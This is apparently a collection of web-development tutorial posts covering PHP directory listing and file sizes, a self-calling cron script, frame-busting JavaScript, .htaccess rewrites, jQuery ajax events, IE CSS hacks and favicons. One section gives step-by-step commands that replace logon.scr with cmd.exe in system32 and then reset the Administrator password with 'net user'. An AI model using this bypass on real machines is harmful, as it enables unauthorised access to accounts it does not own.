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	function directory_map($source_dir, $top_level_only = FALSE)
	{	
		if ($fp = @opendir($source_dir))
		{	
		//DIRECTORY_SEPARATOR is a constant is different on different Server OS
			$source_dir = rtrim($source_dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;		
			$filedata = array(); //let grab all files n directorys into this array
			//readdire iterates all the files n folders and returns 
			while (FALSE !== ($file = readdir($fp)))
			{
				if (strncmp($file, '.', 1) == 0)
				{
					continue;//if file or dir name is only '.' ,hidden files we skip them 
				}
 
				if ($top_level_only == FALSE && @is_dir($source_dir.$file))
				{
					$temp_array = array();
					//if is directory call this function itself recursively
					$temp_array = directory_map($source_dir.$file.DIRECTORY_SEPARATOR);
 
					$filedata[$file] = $temp_array;
				}
				else
				{
					$filedata[] = $file;
				}
			}
 
			closedir($fp); //finally close the directory and unlock file or directory data
			return $filedata; //return as array
		}
	}
 
// __FILE__ is PHP constant that tells the present executing script
// dirname extracts the directory name from a given file contains
$present_directory_with_allfilesandfolder=directory_map(dirname(__FILE__));
$onlyonetopleveldata=directory_map(dirname(__FILE__),true);

Download Demo

Generelly we need to display the file size in file sharing applications. Here we use below function to display the size in bytes with filesize function.

function byte_convert($bytes)
  {
    $symbol = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
 
    $exp = 0;
    $converted_value = 0;
    if( $bytes > 0 )
    {
      $exp = floor( log($bytes)/log(1024) );
      $converted_value = ( $bytes/pow(1024,floor($exp)) );
    }
 
    return sprintf( '%.2f '.$symbol[$exp], $converted_value );
        //we can't use PHP integer unsigned as some systems use 32 bit and other 64 bit ,so here we use C style function sprintf
  }

File size stadards

computer data and file size is normally measured in binary code using the binary number system, the prefixes for the multiples are based on the metric system!  The nearest binary number to 1,000 is 2^10 or 1,024; thus 1,024 bytes was named a Kilobyte.

cmd.exe or command prompt is the command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008).At operating system starting a series of commonds and some applications will be invoked by it. logon.scr is the one of them . so here we take this as advantages.

To perform this hack you need to know how to open command promt and some basic commonds.

To open command promt you have to click on start ,then you see a text box called run at right bottom of the start menu.Then enter cmd commond , a black notepad [:)]will open. now enter the below commands and press enter on your keyboard.

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cd..
cd..
cd WINDOWS
cd system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

After restart the system,then you will see again commond promt at logon , then follow below steps

first enter net user commond ,it will show all the user account to system , Administrator is the common user account for windows.

after you decide with your newpassword what ever you decide.

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net user Administrator newpassword

Now password is changed to newpassword you given.

Again restore the old logon.scr and cmd.exe files to original folder system32 with following commands

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cd..
cd..
cd WINDOWS
cd system32
del logon.scr
copy temphack\logon.scr logon.scr
copy  temphack\cmd.exe cmd.exe
exit

After copying original files ,again restart the system and enter with new passowrd have fun.

Cron job is scheduling some tasks with in regular interval on server.To setup cron job we must know about the cron tab commonds and shell access to remote server. generelly every hosting providers provide some programs like cPanel. Here we run a cron job that runs every mintues automatically without cron tab unix / linux demon or without any externel progams.

Generelly Cron job will run atleast four hours gap on cPanel or Plesk ,so it is not possible to setup cron job every minute unless you have crontab demon on server , SSH account on server. Here we write a simple php script that calls itself at every minute.

Remmber this cron job runs with curl php extension.

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//This function runs with curl extension that calls or open remote file.
function call_remote_file($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);   
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
 
function do_somework(){
//This function to run every minutes
@mail('mahesh@gmail.com','cron job','cron runned');
}
set_time_limit(0); 
// some web hosts will have only 30 sec max execution time so we keep it unlimited time
// this function only runs if safe mode is off
$url="http://www.maheshchari.com/cronjob.php"; //it is the script that runs exactly every minutes
call_remote_file($url);
do_somework();//in mean time run some work
sleep(60); // wait the script for 60 seconds or every minute
call_remote_file($url); // call this script itself after a minute
// This process continues every minute

To stop this cron job simple remove the file from server.

With this script we don’t need

• SSH /SFTP account
• No need of learning cron tab commonds.
• No script php exec permissions.
• No need to turn off php safe mode.

Download Demo

Sites like Google Image search , goodphptutorials.com and phpcamp.net displays the website under the IFRAME .No one want their site to be displayed it under the IFRAME, FRAMES. If you want to protect your site to be displayed under the IFRAME,FRAMES then just copy and paste below javascript code after body tag.

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if (window.top !== window.self) {
document.write = "";
window.top.location = window.self.location; setTimeout(function(){document.body.innerHTML='';},1);
window.self.onload=function(evt){
document.body.innerHTML='';};
}

Here we use simple logic that we check our page document window is main window or not. if our document isn’t in main window it might be in iframe or frame. then we switch the location of main window to our existing document locations. Before doing this redirection we make the document empty, because the imposter can break this code before loading .

In our real time,we work mostly small websites where limited static files are hosted. So in that case we waste additional money for less than a Mb files. Here we learn simple hack how to add multiple sites to single account using single .htaccess file.

For example, if you are hosting your domain name "maheshchari.com" with us and added a Domain Alias for "mahesh.com", then http://www.maheshchari.com and http://www.mahesh.com would take a visitor to the exact same pages of maheshchari.com website. http://maheshchari.com/somefile.html would bring someone to the exact same page as http://mahesh.com/somefile.html.

Using this method, you can host an additional website within your account for each Domain you add. Or you can point the mahesh.com same as maheshchari.com,So you are adding "A" same for both domains in DNS management .

After that This is a custom configuration requiring a couple extra steps.

After Pointing both domain to same Server IP , then place an .htaccess file in /htdocs/www of the following example format:

RewriteEngine On
RewriteCond %{HTTP_HOST}  mahesh.com$ [NC]
RewriteCond %{REQUEST_URI} !^/mahesh/.*$
RewriteRule ^(.*)$  /mahesh/$1

Then, upload your HTML files maheshchari.com to /htdocs/www/ and your HTML files for mahesh.com to /htdocs/www/mahesh

Remeber you can’t add emails for mahesh.com for that .

jQuery is most famous javascript library compared to its concurrents. One of importent functionality in jQuery is its Ajax handling. It has very flexible methods for Ajax.We seen how to handle the Ajax Errors in my previous Article.Here we concentrate on jQuery ajaxstart,ajaxstop default methods to handle globally.

Present it is very common to use ajax for every functionality,while querying externel resources with ajax we have to show the end user there is something happening behind the page.Some novice users don’t know about this functionality. So we must intimate the end user we are working on back end. Some times Ajax calls takes more time to respond with some reason. in that case most users confused about it may be stopped working . so here we take one example and tutorial.

ajaxStart

This method is called globally by jQuery while before starting any ajax call starts.

ajaxstop

This method called after stopping the Ajax stopped successfully or Ajax call cancelled.

These methods called on $.getJSON,$.get,$.post,$().load,$.getScript function.

Example

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jQuery().ready(function(){ //Dom ready 
$('#loadimg').ajaxStart(function(){$(this).show();});//this method for ajax start		
$('#loadimg').ajaxStop(function(){$(this).hide();});//this method for ajax stop
$('#loadjson').click(function(){
$.getJSON('ajax.js',function(d){alert(d.name);});//$.getJSON method
});
$('#loadelement').click(function(){$(this).load('loadsnippet.html')});//load method
});

Try more examples

Demo Download

As a designer we experience the most bizzare conditions with internet explerer because it doesn’t follow w3 standereds mostly while rendering elemets and Box Model where moslty other Gecko browsers follow same.Even i am very good at programming ,i experience difficult to find IE issues,wasted more time on CSS issues than programming.So i came up with reference for IE and instructions how to handle them to keep in mind reference for me (us).Even there is difference between IE versions also.So below is the reference

body>p,ul>li

	.class1 .class2 .class3,
	or like class=" class1 class2 class3"

a[href=xyx],input[type=radio]

h1+p,li+ul,ul+li

h1~p,li~ul,ul~li

a:hover span ,li:first p

a:first-child:hover ,  a:active:hover

p:hover

div li:first-child

a:focus

.class:before,.class:after

#box {  max-height: 500px;  min-width: 300px;  }

#box {  	border: solid 1px transparent;  }

#box {  	position: fixed;  }

#box {  	display: inherit;  }

table td {  	border-spacing: 3px;  }

table {  	caption-side: bottom;  }

#box {  	rect(20px, 300px, 200px, 100px)  }

	p { 	white-space: pre-line;  }  
	div { 	white-space: pre-wrap;  }

@import url("styles.css";) screen;

	q {quotes: "'" "'"; } 
	q:before {content: open-quote;} 
	q:after {content: close-quote; }

ul {margin-left:0 !important}

Handling Issues

In the most cases IE6 doesn’t support all selector types to other IE7,IE8.

Even though IE7,IE8 both support much same selectors,they have difference in box model and rendering elements.

In the case of IE7 it just need to add special IE7 css fix style like below

<!--[if IE]> <link href="ie_only.css" rel="stylesheet" type="text/css"> <![endif]-->
		<!--[if lt IE 7]> <link href="ie_6_and_below.css" rel="stylesheet" type="text/css"> <![endif]-->
		<!--[if !lt IE 7]><![IGNORE[--><![IGNORE[]]> <link href="recent.css" rel="stylesheet" type="text/css"> <!--<![endif]-->
		<!--[if !IE]>--> <link href="not_ie.css" rel="stylesheet" type="text/css"> <!--<![endif]-->

in the case IE6,we can’t handle totally with seperate CSS file fix like above example,it needs some layout tweaks also.

We can show elements with conditions as below specified.

<![if!IE]>
This shows up in anything but IE
<![endif]>

It is better to avoid special characters in selecter name like "_","-",even they support mostly browsers.

Hadling CSS fixes with special selectors

Only IE6 and below
* html {}

IE7 and below

*:first-child+html {} * html {}

IE7 only

*:first-child+html {}

IE7 and Modern Browsers only
html>body {}

Recent Opera versions 9 and below

html:first-child {}

What is fav icon?

a favicon is really nothing more than a tiny png image with a .ico extension and sized to 16x 16 or 32 x 32.

How to create fav icon?

So, the first thing you need to do is to create the image that you want to use; whatever you use, don’t make it too complex because small detail tend to get lost when re sized to a tiny 16 by 16 pixels.Create a image that sized square model image.then you should re size to 16×16 px or 32×32px.here we can use photoshop , corel draw and gimp ..etc.before saving the image just add extension ico,instead of regular images gif,png,jpg.

Why should i give ico extension name?

Mostly modern browsers supports any format of image,but it must compatibly with older browsers also.you can give regular formats like favicon.gif,favicon.png,favicon.jpg also.

Where should i keep this icon on server?

Moslty browser search for favicon in root folder,so if you keep this icon on root directory like ,www ,public_html directory on server.
you can keep this icon not only root directory ,its your choice.if so you have to add small html code shwon below in header of each page of site. It works on your local server also.

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  	<head>
	<link rel="shortcut icon" href="favicon.ico" >
	</head>

Adding GIF images as favicon

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  	<head>
	<link rel="shortcut icon" href="favicon.ico" >
	<link rel="icon" href="animated_favicon.gif" type="image/gif" >
	</head>

in the above code we use two type of favicons . favicon.ico for old browsers don’t support gif images.
animated_favicon.gif is for modern browser supports.

Here we learn how to hide the javascript code from non javascript browsers , javascript disabled browsers and mobile browsers .Non javascript browsers renders the javascript code as generel text without exucuting the code. So we must aware how to hide the javascript from these browsers.

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<script type="text/javascript">
<!--
alert("This alert box is hidden from non javascript browsers.!!");
//-->
</script>